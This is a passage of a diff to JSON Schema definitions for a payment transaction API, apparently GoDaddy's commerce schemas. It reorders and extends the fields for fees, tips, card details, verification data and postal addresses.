{ + "$id": "https://godaddy.com/schemas/commerce/transaction/fee.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Fee associated with transaction", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/transaction/simple-fee.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Simple fee associated with transaction", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } + }, + "required": [ + "amount", + "type" + ], + "title": "Simple Fee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/transaction/governed-fee.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Governed fee associated with transaction", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "programType": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true, + "x-field-extra-annotation": "@com.fasterxml.jackson.annotation.JsonIgnore", + "x-propagation": { + "optional": true + } + }, + "type": { + "description": "How the fee should be appliedbinary", + "enum": [ + "FIXED", + "HYBRID", + "PERCENTAGE" + ], + "example": "FIXED", + "type": "string" + } + }, + "required": [ + "amount", + "programType", + "type" + ], + "title": "Governed Fee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/transaction/tip-amount.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" + } + }, + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" + } + }, + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + } + ], + "properties": { + "amountType": { + "type": "string" + } + }, + "required": [ + "amountType" + ], + "title": "Amount", + "type": "object" }, - "transactionRefNum": { - "$id": "https://godaddy.com/schemas/commerce/transaction/refnum.v1", + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" }, - "storeId": { - "$id": "https://godaddy.com/schemas/commerce/transaction/uuid.v1", + "context": { + "$id": "https://godaddy.com/schemas/commerce/transaction/transaction-context.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true + "description": "Transaction Context details that contains additional details about where the transaction was initiated", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/transaction/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" + } + }, + "title": "Transaction Context", + "type": "object" + }, + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" }, "fundingSource": { - "description": "Funding source", "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Funding Source", - "type": "object", + "description": "Funding source of Transaction", + "discriminator": { + "mapping": { + "APPLE_PAY": "../payment-token/ApplePayPaymentToken.yaml", + "BANK_ACCOUNT": "./BankAccount.yaml", + "CASH": "./Cash.yaml", + "CUSTOM": "./CustomFundingSource.yaml", + "EBT_CARD": "./EBTCard.yaml", + "GODADDY": "../payment-token/GoDaddyPaymentToken.yaml", + "GOOGLE_PAY": "../payment-token/GooglePayPaymentToken.yaml", + "PAYMENT_CARD": "./PaymentCard.yaml", + "PAZE": "../payment-token/PazePaymentToken.yaml" + }, + "propertyName": "sourceType" + }, "oneOf": [ { "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Payment Card", - "type": "object", "description": "Payment card", "properties": { "cardDetail": { - "description": "Card detail", "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/card-detail.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Detail", - "type": "object", + "description": "Details of the card used for processing transaction", "properties": { - "number": { - "type": "string", - "description": "Card number" - }, - "numberHashed": { - "type": "string", - "description": "Card number hashed", - "readOnly": true - }, - "type": { - "type": "string", - "enum": [ - "VISA", - "MASTERCARD", - "AMERICAN_EXPRESS", - "DISCOVER", - "INTERAC", - "BANCOMAT", - "MAESTRO", - "DINERS_CLUB", - "JCB", - "UNIONPAY", - "BANKAXEPT", - "OTHER" - ], - "description": "Type of the card" - }, - "source": { - "type": "string", - "description": "Source of the card", - "enum": [ - "DIRECT", - "PAZE", - "APPLE_PAY", - "GOOGLE_PAY" - ] - }, - "track1data": { - "type": "string", - "writeOnly": true, - "description": "In some use-cases (like airlines) Track1 is required. Track1 contains some extra information over Track2 (like cardholder's name)." - }, - "track2data": { - "type": "string", - "writeOnly": true, - "description": "Required for swiped transactions. Track2 read from the card contains PAN, expiration, etc." - }, - "track3data": { - "type": "string", - "writeOnly": true, - "description": "Track3 for future use. Carries track from custom funding sources." - }, - "firstName": { - "type": "string", - "description": "First name of card holder" - }, - "lastName": { - "type": "string", - "description": "Last name of card holder" - }, - "expMonth": { - "type": "integer", - "minimum": 1, - "maximum": 12 - }, - "expYear": { - "type": "integer", - "minimum": 2000, - "maximum": 9999 - }, - "sequenceNumber": { + "currency": { + "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", "type": "string", - "writeOnly": true, - "description": "Sequence number to distinguish between 2 cards with same PAN." + "x-currency-type": true, + "x-custom-type": true }, - "serviceCode": { - "type": "string", - "writeOnly": true, - "description": "Track data read from card" + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" }, "encrypted": { - "type": "boolean", "default": true, "description": "True if the card number is encrypted", + "type": "boolean", "writeOnly": true }, - "keySerialNumber": { - "type": "string", - "writeOnly": true, - "description": "For DUKPT encryption" - }, "entryDetails": { - "description": "Card entry details", "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/card-entry-detail.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Entry Detail", - "type": "object", + "description": "Details on how the card is used during transaction", "properties": { - "iccFallback": { - "type": "boolean", - "description": "indicates whether there was a fallback to MSR from EMV", + "customerPresent": { "default": false, - "writeOnly": true + "description": "Indicates whether customer was present during transaction", + "type": "boolean" }, "entryMethod": { - "type": "string", "description": "Entry mode for the card", "enum": [ "KEYED", @@ -713,210 +844,205 @@ "CL_MSR", "ICC", "CL_ICC" - ] + ], + "type": "string" }, - "customerPresent": { + "iccFallback": { + "default": false, + "description": "indicates whether there was a fallback to MSR from EMV", "type": "boolean", - "description": "Indicates whether customer was present during transaction", - "default": false + "writeOnly": true } - } + }, + "title": "Card Entry Detail", + "type": "object" + }, + "expMonth": { + "maximum": 12, + "minimum": 1, + "type": "integer" + }, + "expYear": { + "maximum": 9999, + "minimum": 2000, + "type": "integer" + }, + "firstName": { + "description": "First name of card holder", + "type": "string" }, "interacMacDetail": { - "writeOnly": true, - "description": "Card Interacmac details", "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/interacmac.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Interac Mac", - "type": "object", + "description": "Interac Mac details of the Payment card", "properties": { "interacMac": { - "type": "string", - "description": "Interac mac details for canada based cards" + "description": "Interac mac details for canada based cards", + "type": "string" }, "interacMacKSN": { - "type": "string", - "description": "Interac mac key serial number for canada based cards" + "description": "Interac mac key serial number for canada based cards", + "type": "string" } }, "required": [ "interacMac", "interacMacKSN" - ] - }, - "emvTags": { - "writeOnly": true, - "description": "Card EMV tags", - "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 40, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } + ], + "title": "Interac Mac", + "type": "object" }, - "currency": { - "description": "Card's native currency code, when available.", - "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", + "keySerialNumber": { + "description": "For DUKPT encryption", "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true + "writeOnly": true + }, + "lastName": { + "description": "Last name of card holder", + "type": "string" }, "legacyData": { - "deprecated": true, - "description": "Contains card details represented by legacy system", - "$id": "https://poynt.godaddy.com/schemas/funding-source/card-detail.v2", - "$schema": "https://json-schema.org/draft/2019-09/schema", - "type": "object", "$defs": { "LegacyCardAgreement": { - "type": "object", + "description": "Object to keep track of card agreements for referenced transactions and recurring billing.", "properties": { "agreedOn": { - "type": "string", + "description": "Timestamp for when this agreement was agreed.", "format": "date-time", - "description": "Timestamp for when this agreement was agreed." + "type": "string" }, "businessId": { - "type": "string", - "description": "Business UUID that this card agreement belongs to." + "description": "Business UUID that this card agreement belongs to.", + "type": "string" }, "cardId": { - "type": "string", - "description": "Card UUID that this card agreement belongs to." + "description": "Card UUID that this card agreement belongs to.", + "type": "string" }, "createdAt": { - "type": "string", - "format": "date-time" + "format": "date-time", + "type": "string" }, "declinedOn": { - "type": "string", + "description": "Timestamp for when this agreement was declined.", "format": "date-time", - "description": "Timestamp for when this agreement was declined." + "type": "string" }, "email": { - "type": "string", - "description": "The customer email that we will send the agreement to." + "description": "The customer email that we will send the agreement to.", + "type": "string" }, "id": { - "type": "string", - "description": "UUID of the card agreement." + "description": "UUID of the card agreement.", + "type": "string" }, "metadata": { - "description": "Card agreement metadata. Will hold the agreement template properties.", - "type": "object", + "description": "Object to represent card agreement metadata. Will hold the agreement template properties, language, country code etc.", "properties": { "businessContact": { - "type": "string", "description": "Business contact or website.", - "maxLength": 1024 + "maxLength": 1024, + "type": "string" }, "businessName": { - "type": "string", "description": "Business name.", - "maxLength": 128 + "maxLength": 128, + "type": "string" }, "businessPhone": { - "type": "string", "description": "Business phone.", - "maxLength": 16 + "maxLength": 16, + "type": "string" }, "countryCode": { - "type": "string", "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", - "maxLength": 2 + "maxLength": 2, + "type": "string" }, "lang": { - "type": "string", "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", - "maxLength": 2 + "maxLength": 2, + "type": "string" } - } + }, + "type": "object" }, "status": { - "type": "string", "description": "[Required] The type of card agreement status.", "enum": [ "ACCEPTED", "DELETED", "INACTIVE" - ] + ], + "type": "string" }, "txnId": { - "type": "string", - "description": "Transaction UUID where this agreement is accepted." + "description": "Transaction UUID where this agreement is accepted.", + "type": "string" }, "updatedAt": { - "type": "string", - "format": "date-time" + "format": "date-time", + "type": "string" }, "version": { - "type": "integer", - "description": "The version of agreement." + "description": "The version of agreement.", + "type": "integer" } }, - "description": "Object to keep track of card agreements for referenced transactions and recurring billing." + "type": "object" }, "LegacyCardAgreementMetadata": { - "type": "object", + "description": "Object to represent card agreement metadata. Will hold the agreement template properties, language, country code etc.", "properties": { "businessContact": { - "type": "string", "description": "Business contact or website.", - "maxLength": 1024 + "maxLength": 1024, + "type": "string" }, "businessName": { - "type": "string", "description": "Business name.", - "maxLength": 128 + "maxLength": 128, + "type": "string" }, "businessPhone": { - "type": "string", "description": "Business phone.", - "maxLength": 16 + "maxLength": 16, + "type": "string" }, "countryCode": { - "type": "string", "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", - "maxLength": 2 + "maxLength": 2, + "type": "string" }, "lang": { - "type": "string", "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", - "maxLength": 2 + "maxLength": 2, + "type": "string" } }, - "description": "Object to represent card agreement metadata. Will hold the agreement template properties, language, country code etc." + "type": "object" }, "LegacyCardBrand": { - "type": "object", + "description": "This object represents CardBrand.", "properties": { "brand": { "type": "string" }, "createdAt": { - "type": "string", - "format": "date-time" + "format": "date-time", + "type": "string" }, "displayName": { - "type": "string", + "maxLength": 50, "minLength": 3, - "maxLength": 50 + "type": "string" }, "id": { "type": "string" }, "issuerBank": { - "type": "string", - "maxLength": 150 + "maxLength": 150, + "type": "string" }, "logoUrl": { "type": "string" @@ -925,29 +1051,35 @@ "type": "string" } }, - "description": "This object represents CardBrand." + "type": "object" + }, + "LegacyCardKey": { + "enum": [ + "WCK", + "WAEK", + "WMACK" + ], + "type": "string" }, "LegacyCardKeyData": { - "type": "object", "properties": { "id": { - "description": "The key identifier.", - "type": "string", "enum": [ "WCK", "WAEK", "WMACK" - ] + ], + "type": "string" }, "version": { - "type": "string", "description": "Version of the key.", - "maxLength": 4 + "maxLength": 4, + "type": "string" } - } + }, + "type": "object" }, "LegacyCardType": { - "type": "string", "enum": [ "AMERICAN_EXPRESS", "EBT", @@ -966,135 +1098,97 @@ "UNIONPAY", "VISA", "BANKAXEPT" - ] - }, - "LegacyCardKey": { - "type": "string", - "enum": [ - "WCK", - "WAEK", - "WMACK" - ] + ], + "type": "string" } }, + "$id": "https://poynt.godaddy.com/schemas/funding-source/card-detail.v2", + "$schema": "https://json-schema.org/draft/2019-09/schema", + "deprecated": true, + "description": "Object to carry credit/debit card information.", "properties": { "cardAgreement": { - "type": "object", + "description": "Object to keep track of card agreements for referenced transactions and recurring billing.", "properties": { "agreedOn": { - "type": "string", + "description": "Timestamp for when this agreement was agreed.", "format": "date-time", - "description": "Timestamp for when this agreement was agreed." + "type": "string" }, "businessId": { - "type": "string", - "description": "Business UUID that this card agreement belongs to." + "description": "Business UUID that this card agreement belongs to.", + "type": "string" }, "cardId": { - "type": "string", - "description": "Card UUID that this card agreement belongs to." + "description": "Card UUID that this card agreement belongs to.", + "type": "string" }, "createdAt": { - "type": "string", - "format": "date-time" + "format": "date-time", + "type": "string" }, "declinedOn": { - "type": "string", + "description": "Timestamp for when this agreement was declined.", "format": "date-time", - "description": "Timestamp for when this agreement was declined." + "type": "string" }, "email": { - "type": "string", - "description": "The customer email that we will send the agreement to." + "description": "The customer email that we will send the agreement to.", + "type": "string" }, "id": { - "type": "string", - "description": "UUID of the card agreement." + "description": "UUID of the card agreement.", + "type": "string" }, "metadata": { - "description": "Card agreement metadata. Will hold the agreement template properties.", - "type": "object", - "properties": { - "businessContact": { - "type": "string", - "description": "Business contact or website.", - "maxLength": 1024 - }, - "businessName": { - "type": "string", - "description": "Business name.", - "maxLength": 128 - }, - "businessPhone": { - "type": "string", - "description": "Business phone.", - "maxLength": 16 - }, - "countryCode": { - "type": "string", - "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", - "maxLength": 2 - }, - "lang": { - "type": "string", - "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", - "maxLength": 2 - } - } + "$ref": "#/$defs/LegacyCardAgreementMetadata", + "description": "Card agreement metadata. Will hold the agreement template properties." }, "status": { - "type": "string", "description": "[Required] The type of card agreement status.", "enum": [ "ACCEPTED", "DELETED", "INACTIVE" - ] + ], + "type": "string" }, "txnId": { - "type": "string", - "description": "Transaction UUID where this agreement is accepted." + "description": "Transaction UUID where this agreement is accepted.", + "type": "string" }, "updatedAt": { - "type": "string", - "format": "date-time" + "format": "date-time", + "type": "string" }, "version": { - "type": "integer", - "description": "The version of agreement." + "description": "The version of agreement.", + "type": "integer" } }, - "description": "Object to keep track of card agreements for referenced transactions and recurring billing." - }, - "status": { - "type": "string", - "description": "Status of the card.", - "enum": [ - "ACTIVE", - "REMOVED" - ] + "type": "object" }, "cardBrand": { - "type": "object", + "description": "This object represents CardBrand.", "properties": { "brand": { "type": "string" }, "createdAt": { - "type": "string", - "format": "date-time" + "format": "date-time", + "type": "string" }, "displayName": { - "type": "string", + "maxLength": 50, "minLength": 3, - "maxLength": 50 + "type": "string" }, "id": { "type": "string" }, "issuerBank": { - "type": "string", - "maxLength": 150 + "maxLength": 150, + "type": "string" }, "logoUrl": { "type": "string" @@ -1103,73 +1197,74 @@ "type": "string" } }, - "description": "This object represents CardBrand." + "type": "object" }, "cardHolderFullName": { - "type": "string", "description": "Card holder's full name usually picked from track1.", - "maxLength": 256 + "maxLength": 256, + "type": "string" }, "cardId": { - "type": "string", - "description": "The uuid of the card created" + "description": "The uuid of the card created", + "type": "string" }, "encrypted": { - "type": "boolean", - "description": "True if track, PAN, expiration are encrypted." + "description": "True if track, PAN, expiration are encrypted.", + "type": "boolean" }, "encryptedExpirationDate": { - "type": "string", - "description": "If encryption is true, a single encrypted expiration date (containing year, month and possibly date) is provided here." + "description": "If encryption is true, a single encrypted expiration date (containing year, month and possibly date) is provided here.", + "type": "string" }, "expirationDate": { - "type": "integer", - "description": "The date from expiration. Date is typically only present in EMV cards." + "description": "The date from expiration. Date is typically only present in EMV cards.", + "type": "integer" }, "id": { - "type": "integer", - "description": "The id of the card created." + "description": "The id of the card created.", + "type": "integer" }, "issuer": { "type": "string" }, "key": { "description": "List of keys and their versions being used. If encrypted is true, only one of key and keySerialNumber can be populated (not both).", - "type": "array", "items": { - "type": "object", "properties": { "id": { - "description": "The key identifier.", - "type": "string", - "enum": [ - "WCK", - "WAEK", - "WMACK" - ] + "$ref": "#/$defs/LegacyCardKey", + "description": "The key identifier." }, "version": { - "type": "string", "description": "Version of the key.", - "maxLength": 4 + "maxLength": 4, + "type": "string" } - } - } + }, + "type": "object" + }, + "type": "array" }, "numberFirst6": { - "type": "string", - "description": "This is a response field. The first6 numbers of the PAN." + "description": "This is a response field. The first6 numbers of the PAN.", + "type": "string" }, "numberHashed": { "type": "string" }, "numberLast4": { - "type": "string", - "description": "This is a response field. The last4 numbers of the PAN." + "description": "This is a response field. The last4 numbers of the PAN.", + "type": "string" + }, + "status": { + "description": "Status of the card.", + "enum": [ + "ACTIVE", + "REMOVED" + ], + "type": "string" }, "type": { - "description": "The network card belongs to: DISCOVER, VISA, MASTERCARD, AMEX, etc.", - "type": "string", "enum": [ "AMERICAN_EXPRESS", "EBT", @@ -1188,489 +1283,485 @@ "UNIONPAY", "VISA", "BANKAXEPT" - ] + ], + "type": "string" } - } + }, + "type": "object" + }, + "number": { + "description": "Card number", + "type": "string" + }, + "numberHashed": { + "description": "Card number hashed", + "readOnly": true, + "type": "string" + }, + "sequenceNumber": { + "description": "Sequence number to distinguish between 2 cards with same PAN.", + "type": "string", + "writeOnly": true + }, + "serviceCode": { + "description": "Track data read from card", + "type": "string", + "writeOnly": true + }, + "source": { + "description": "Source of the card", + "enum": [ + "DIRECT", + "PAZE", + "APPLE_PAY", + "GOOGLE_PAY" + ], + "type": "string" + }, + "track1data": { + "description": "In some use-cases (like airlines) Track1 is required. Track1 contains some extra information over Track2 (like cardholder's name).", + "type": "string", + "writeOnly": true + }, + "track2data": { + "description": "Required for swiped transactions. Track2 read from the card contains PAN, expiration, etc.", + "type": "string", + "writeOnly": true + }, + "track3data": { + "description": "Track3 for future use. Carries track from custom funding sources.", + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Type of the card", + "enum": [ + "VISA", + "MASTERCARD", + "AMERICAN_EXPRESS", + "DISCOVER", + "INTERAC", + "BANCOMAT", + "MAESTRO", + "DINERS_CLUB", + "JCB", + "UNIONPAY", + "BANKAXEPT", + "OTHER" + ], + "type": "string" } }, "required": [ "type", "number", "source" - ] + ], + "title": "Card Detail", + "type": "object" }, "cardVerificationData": { - "writeOnly": true, - "description": "Verification data that can be used to verify the customer information", "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/verification.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Verification Data", - "type": "object", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, "oneOf": [ { "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/card-verification.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Verification Data", "description": "Verification data for the card used as funding source", - "type": "object", "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, "$id": "https://godaddy.com/schema/common/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" + }, "addressLine1": { - "type": "string", "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, "addressLine2": { - "type": "string", "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, "addressLine3": { - "type": "string", "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 - }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 + "maxLength": 100, + "type": "string" }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" }, "adminArea2": { "description": "A city, town, or village. Smaller than `adminArea1`.", - "type": "string", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", - "maxLength": 300 + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" }, "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border transactions.", "$id": "https://godaddy.com/schemas/common-types/country-code.v1", "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", "maxLength": 2, "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" }, - "addressDetails": { - "type": "object", - "title": "Address Details", - "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", - "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", - "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 - }, - "buildingName": { - "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 - }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - "maxLength": 100 - }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 - }, - "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", - "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", - "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, - "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" - } - }, - "required": [ - "longitude", - "latitude" - ] - } - } + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" } }, "required": [ "countryCode" - ] + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, 